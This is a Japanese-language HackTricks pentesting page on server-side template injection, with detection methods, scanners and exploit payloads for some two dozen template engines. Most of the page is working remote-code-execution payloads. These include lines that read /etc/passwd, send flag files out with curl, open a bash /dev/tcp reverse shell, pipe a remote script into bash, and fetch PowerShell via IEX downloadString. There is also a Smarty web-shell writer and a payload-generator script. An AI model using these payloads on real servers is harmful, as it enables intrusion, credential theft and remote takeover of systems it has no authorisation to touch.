hacktricks/pentesting-web/ssti-server-side-template-injection
2024-02-07 04:47:05 +00:00
..
el-expression-language.md Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u 2024-02-07 04:47:05 +00:00
jinja2-ssti.md Translated ['generic-methodologies-and-resources/search-exploits.md', 'l 2024-02-06 14:28:17 +00:00
README.md Translated ['generic-methodologies-and-resources/search-exploits.md', 'l 2024-02-06 14:28:17 +00:00

SSTI (Server Side Template Injection)

ゼロからヒーローまでAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert

HackTricksをサポートする他の方法

RootedCONスペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパで最も重要なイベントの1つです。技術知識の促進を使命とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家の熱い出会いの場です。

{% embed url="https://www.rootedcon.com/" %}

SSTIServer-Side Template Injectionとは

サーバーサイドテンプレートインジェクションは、攻撃者がサーバーで実行されるテンプレートに悪意のあるコードをインジェクトできる脆弱性です。この脆弱性は、Jinjaを含むさまざまな技術で見つかる可能性があります。

JinjaはWebアプリケーションで使用される人気のあるテンプレートエンジンです。Jinjaを使用した脆弱なコードスニペットを示す例を考えてみましょう

output = template.render(name=request.args.get('name'))

以下の脆弱なコードでは、ユーザーのリクエストからの name パラメータが render 関数を使用して直接テンプレートに渡されます。これにより、攻撃者が name パラメータに悪意のあるコードをインジェクトする可能性があり、サーバーサイドテンプレートインジェクションが発生する可能性があります。

たとえば、攻撃者は次のようなペイロードを含むリクエストを作成することができます:

http://vulnerable-website.com/?name={{bad-stuff-here}}

ペイロード {{bad-stuff-here}}name パラメータにインジェクトされます。このペイロードには、攻撃者が未承認のコードを実行したり、テンプレートエンジンを操作したりして、サーバーを制御する可能性がある Jinja テンプレートディレクティブが含まれています。

サーバーサイドテンプレートインジェクションの脆弱性を防ぐために、開発者はユーザー入力がテンプレートに挿入される前に適切にサニタイズおよび検証されることを確認する必要があります。入力検証の実装やコンテキストに応じたエスケープ技術の使用は、この脆弱性のリスクを緩和するのに役立ちます。

検出

サーバーサイドテンプレートインジェクションSSTIを検出するために、まずテンプレートのファジングが直接的なアプローチです。これには、テンプレートに特殊文字のシーケンス(${{<%[%'"}}%\)をインジェクトし、通常のデータとこの特殊ペイロードとの違いを分析します。脆弱性の指標には次のものがあります:

  • 脆弱性やテンプレートエンジンを明らかにするエラーの発生。

  • 反射中にペイロードが存在しないか、または一部が欠落している場合、サーバーが通常のデータとは異なる方法で処理していることを示す。

  • プレーンテキストコンテキストサーバーがテンプレート式を評価しているかどうかを確認して、XSS と区別します(例:{{7*7}}${7*7})。

  • コードコンテキスト:入力パラメータを変更して脆弱性を確認します。たとえば、http://vulnerable-website.com/?greeting=data.usernamegreeting を変更して、サーバーの出力が動的か固定かを確認します。greeting=data.username}}hello がユーザー名を返すかどうかを確認します。

識別フェーズ

テンプレートエンジンを特定するには、エラーメッセージを分析したり、さまざまな言語固有のペイロードを手動でテストしたりする必要があります。エラーを引き起こす一般的なペイロードには ${7/0}{{7/0}}<%= 7/0 %> があります。数学演算に対するサーバーの応答を観察することで、特定のテンプレートエンジンを特定できます。

ツール

TInjA

新しいポリグロットを利用する効率的な SSTI + CSTI スキャナー

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
python3 sstimap.py -u 'https://example.com/page?name=John' -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

テンプレートインジェクションテーブル

44の主要なテンプレートエンジンの期待されるレスポンスとともに、最も効率的なテンプレートインジェクションポリグロットを含むインタラクティブなテーブル。

Exploits

一般的な

このワードリストには、以下で言及されているエンジンの環境で定義された変数が含まれています:

Java

Java - 基本的なインジェクション

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - システムの環境変数を取得する

${T(java.lang.System).getenv()}

Java - /etc/passwd の取得

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

あなたは、https://try.freemarker.apache.org でペイロードを試すことができます。

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nothing
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - サンドボックス回避

⚠️ Freemarkerのバージョン2.3.30未満でのみ機能します

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

詳細情報

Velocity (Java)

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

詳細情報

Thymeleaf

Thymeleafでは、SSTI脆弱性の一般的なテストとして${7*7}の式があり、このテンプレートエンジンにも適用されます。潜在的なリモートコード実行のために、以下のような式が使用されます:

  • SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleafでは、これらの式を特定の属性内に配置する必要があります。ただし、他のテンプレート位置では、[[...]][(...)]のような構文を使用して、_式のインライン化_がサポートされています。したがって、単純なSSTIテストペイロードは[[${7*7}]]のようになります。

ただし、このペイロードが機能する可能性は一般的に低いです。Thymeleafのデフォルト構成では、動的テンプレート生成はサポートされていません。テンプレートは事前に定義する必要があります。開発者は、文字列からテンプレートを動的に生成するために独自のTemplateResolverを実装する必要がありますが、これは一般的ではありません。

Thymeleafはまた、二重アンダースコア(__...__)内の式を事前処理する_式の前処理_も提供しています。この機能は、Thymeleafのドキュメントで示されているように、式の構築に利用できます。

#{selection.__${sel.code}__}

Thymeleafにおける脆弱性の例

以下のコードスニペットを考えてみてください。これは攻撃を受けやすい可能性があります:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

これは、テンプレートエンジンがこれらの入力を適切に処理しない場合、次のようなURLにアクセスしてリモートコードを実行する可能性があることを示しています

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

詳細情報

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

フィルターをバイパスする

複数の変数式を使用できます。${...}が機能しない場合は、#{...}*{...}@{...}、または~{...}を試してみてください。

  • /etc/passwdを読む
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • ペイロード生成用のカスタムスクリプト
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

詳細情報

Spring View Manipulation (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Pebbleの古いバージョンバージョン3.0.9未満):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

新しいバージョンのPebble

{% raw %}
{% set cmd = 'id' %}
{% endraw %}


{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

Jinjavaは、Java向けのテンプレートエンジンです。これは、サーバーサイドテンプレートインジェクションSSTI攻撃の標的になる可能性があります。 Jinjavaを使用している場合は、入力検証とエスケープ処理を適切に行うことが重要です。

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava - コマンド実行

https://github.com/HubSpot/jinjava/ で利用可能なHubspotによって開発されたオープンソースプロジェクトです。

https://github.com/HubSpot/jinjava/pull/230 によって修正されました。

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

詳細情報

Hubspot - HuBL (Java)

  • {% %} ステートメントの区切り記号
  • {{ }} 式の区切り記号
  • {# #} コメントの区切り記号
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - "A"
  • {{'a'.concat('b')}} - "ab"
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

"com.hubspot.content.hubl.context.TemplateContextRequest" を検索し、Github 上の Jinjava プロジェクト を発見しました。

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

さらに情報

Expression Language - EL (Java)

  • ${"aaaa"} - "aaaa"
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL)は、JavaEEにおいてプレゼンテーション層Webページなどとアプリケーションロジック管理されたBeanなどとの間の相互作用を容易にする基本的な機能です。これは、このコミュニケーションを効率化するために、複数のJavaEEテクロジー全体で広く使用されています。ELを利用する主要なJavaEEテクロジーには次のものがあります

  • JavaServer Faces (JSF): ELを使用して、JSFページ内のコンポーネントを対応するバックエンドデータやアクションにバインドします。
  • JavaServer Pages (JSP): JSPではELが使用され、JSPページ内のデータへのアクセスや操作が行われ、ページ要素をアプリケーションデータに接続しやすくなります。
  • Contexts and Dependency Injection for Java EE (CDI): ELはCDIと統合され、Web層と管理されたBeanとの間のシームレスな相互作用を可能にし、より一貫したアプリケーション構造を確保します。

ELインタプリタの悪用について詳しく学ぶには、次のページをチェックしてください:

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Groovy (Java)

以下のセキュリティマネージャーバイパスは、この解説記事から取得されました。

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

RootedCONスペインで最も関連性の高いサイバーセキュリティイベントの1つであり、ヨーロッパでも最も重要なイベントの1つです。技術知識の促進を使命として、この会議はあらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。

{% embed url="https://www.rootedcon.com/" %}

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

詳細情報

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - テンプレート形式

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

詳細情報

PlatesPHP

PlatesはPHP固有のテンプレートエンジンで、Twigからインスピレーションを受けています。ただし、新しい構文を導入するTwigとは異なり、PlatesはテンプレートでネイティブなPHPコードを活用し、PHP開発者にとって直感的です。

Controller:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

ページのテンプレート:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

レイアウトテンプレート:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

詳細

PHPlib と HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB は PHPlib と同じで、Pear に移植されています。

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

Server-Side Template Injection (SSTI)

Description

Server-Side Template Injection (SSTI) occurs when an application allows user input without proper sanitization in a template. This can lead to an attacker injecting template directives that can execute arbitrary code on the server.

Exploitation

To exploit SSTI, an attacker can inject template directives that can execute code on the server. This can lead to data exfiltration, server takeover, and other serious consequences.

Prevention

To prevent SSTI, always validate and sanitize user input before using it in templates. Use a safe templating engine and avoid using user input directly in templates without proper validation.

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

詳細

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

詳細情報

patTemplate (PHP)

patTemplateは、XMLタグを使用してドキュメントを異なる部分に分割する、コンパイルされないPHPテンプレートエンジンです。

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

詳細

Handlebars (NodeJS)

パストラバーサル(詳細はこちらを参照)。

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = エラー
  • ${7*7} = ${7*7}
  • 何も
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

詳細情報

JsRender (NodeJS)

テンプレート 説明
評価して出力をレンダリングする
評価してHTMLエンコードされた出力をレンダリングする
コメント
and コードを許可(デフォルトでは無効)
  • = 49

クライアントサイド

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

サーバーサイド

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

詳細情報

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

サーバーサイドレンダリングの例

var pugjs = require('pug');
home = pugjs.render(injected_page)

詳細情報

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = 出力なし
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = エラー
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}

詳細

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

詳細

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

詳細情報

Python

Pythonでの砂箱をバイパスして任意のコマンドを実行するトリックについて学ぶには、以下のページをチェックしてください:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}



{{os.system('whoami')}}
{{os.system('whoami')}}

詳細

Jinja2 (Python)

公式ウェブサイト

Jinja2はPython向けのフル機能のテンプレートエンジンです。完全なUnicodeサポート、オプションの統合された砂箱実行環境、広く使用されておりBSDライセンスが適用されています。

  • {{7*7}} = エラー
  • ${7*7} = ${7*7}
  • {{foobar}} なし
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}



{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - テンプレート形式

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


__builtins__に依存しないRCE:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Jinjaの乱用方法の詳細:

{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}

他のペイロードはhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2にあります。

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

詳細情報

Razor (.Net)

  • @(2+2) <= 成功
  • @() <= 成功
  • @("{{code}}") <= 成功
  • @ <= 成功
  • @{} <= エラー!
  • @{ <= エラー!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBCAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

.NETのSystem.Diagnostics.Process.Startメソッドを使用して、サーバー上で任意のプロセスを開始し、Webシェルを作成できます。脆弱なWebアプリの例はhttps://github.com/cnotin/RazorVulnerableAppで見つけることができます。

詳細情報

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Nothing
  • <%= response.write(date()) %> = <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

詳細

Mojolicious (Perl)

パールであっても、RubyのERBのようなタグを使用します。

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %>
<% perl code %>

GOにおけるSSTI

Goのテンプレートエンジンでは、特定のペイロードを使用してその使用を確認できます

